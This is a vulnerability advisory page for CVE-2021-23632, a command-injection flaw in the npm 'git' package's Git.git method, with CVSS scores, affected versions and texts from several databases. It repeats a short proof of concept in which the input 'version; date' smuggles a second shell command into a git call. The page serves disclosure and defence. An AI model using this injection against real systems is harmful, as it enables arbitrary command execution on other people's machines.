6.6medium
Remote Code Execution (RCE)
- Severity
- 6.6medium CVSS:3.1 by snyk
- Exploit likelihood
- 2.35% (higher than 84% of CVEs)
- Published
- Last changed
- Assigned by
- snyk
- Also known as
- GHSA-9gqr-xp86-f87hSNYK-JS-GIT-1568518
Description
All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| git | before unspecified | CVE List |
| git (npm) | up to 0.1.5 | GitHub Advisory Database |
| git_project git | up to 0.1.5 | NVD |
All scores
| snyk | 6.6medium CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 6.6medium CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H |
| NVD | 9.8critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| NVD | 7.5high CVSS:2.0 | AV:N/AC:L/Au:N/C:P/I:P/A:P |
Classification
What each source says
CVE List
All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. Steps to Reproduce 1. Create a file named exploit.js with the following content: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. In the same directory as exploit.js, run npm install git. 3. Run exploit.js: node exploit.js. You should see the outputs of both the git version and date command-lines. Note that the repo-test Git repository does not need to be present to make this PoC work.
GitHub Advisory Database
All versions of package git are vulnerable to Remote Code Execution (RCE) due to missing sanitization in the Git.git method, which allows execution of OS commands rather than just git commands. At this time, there is no known workaround. There has been no patch released.
NVD (es)
Todas las versiones del paquete git son vulnerables a Una Ejecución de Código Remota (RCE) debido a una falta de saneo en el método Git.git, que permite una ejecución de comandos del Sistema Operativo en lugar de sólo comandos de git. Pasos para reproducirlo 1. Crear un archivo llamado exploit.js con el siguiente contenido: js var Git = require("git").Git; var repo = new Git("repo-test"); var user_input = "version; date"; repo.git(user_input, function(err, result) { console.log(result); }) 2. En el mismo directorio que exploit.js, ejecutar npm install git. 3. Ejecuta exploit.js: node exploit.js. Deberías ver las salidas de las líneas de comandos de git version y date. Ten en cuenta que el repositorio Git repo-test no necesita estar presente para que este PoC funcione
References
| https://snyk.io/vuln/SNYK-JS-GIT-1568518 | exploit, third-party-advisory, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2021-23632 | advisory | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2021-23632 changed 2024-09-16 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-9gqr-xp86-f87h changed 2026-07-08 | CC-BY-4.0 |
| NVD | CVE-2021-23632 changed 2026-06-17 | Public domain |